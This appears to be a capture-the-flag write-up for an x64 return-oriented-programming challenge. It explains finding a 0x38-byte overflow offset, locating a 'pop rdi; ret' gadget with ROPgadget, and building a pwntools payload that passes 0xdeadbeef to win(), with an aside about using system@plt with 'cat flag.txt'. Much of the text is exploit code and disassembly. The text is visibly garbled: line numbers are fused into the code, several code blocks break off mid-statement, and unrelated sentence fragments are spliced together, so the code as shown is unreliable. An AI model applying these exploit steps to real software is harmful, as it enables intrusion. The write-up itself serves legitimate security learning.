This challenge will prove to be identical to the last one. In this case, x64 does not recognize the difference between Artificial Jumps and Natural Jumps since we load these arguments into registers rather than right onto the stack with the return addresses.
Because of this indifference, we'll follow the same exploit track.
10x000000000040119c <+23>: lea rax,[rbp-0x30]
20x00000000004011a0 <+27>: mov edx,0x60From here, we see that it would take 0x38 bytes to overflow the buffer.
Checking the disassembly of win(), we see we need to load the first parameter with 0xdeadbeef:
10x0000000000401157 <+8>: mov DWORD PTR [rbp-0x4],edi
20x000000000040115a <+11>: cmp DWORD PTR [rbp-Therefore, we at least need a gadget that loads rdi. We can find this with ROPgadget:
ROPgadget --binary chall --only "pop|ret" | grep rdi0x000000000040114a : pop rdi ; retFrom here, we need the payload to be in the following order:
pop rdi gadget0xdeadbeef on the stack to be loaded into rdiwin().This makes the payload look like this:
1payload = b'A' * 0x38
2payload += p64(0x40114a) # address of 'pop rdi' gadget
3payload += p64(0xdeadbeef) flat() function. This requires context.binary (or, more specifically, context.word_size) to be set. This might look like the following.1elf = context.binary = ELF('./chall')
2
3payload = flat(This payload should successfully give us a flag!
MOVAPS instruction. If you don't remember this, check out Buffer Overflows Practice 1.Combining all this, we have a full exploit.
1from pwn import *
2
3p = process('./chall')
4
5g_popRdi = 0x40114ardi with cat flag.txt and jumping directly to the system@plt call inside win. Feel free to try this yourself!flat() keeps byte-strings the way they are (i.e., the buffer overflow) and then packs the remaining integers based on the context.word_size set.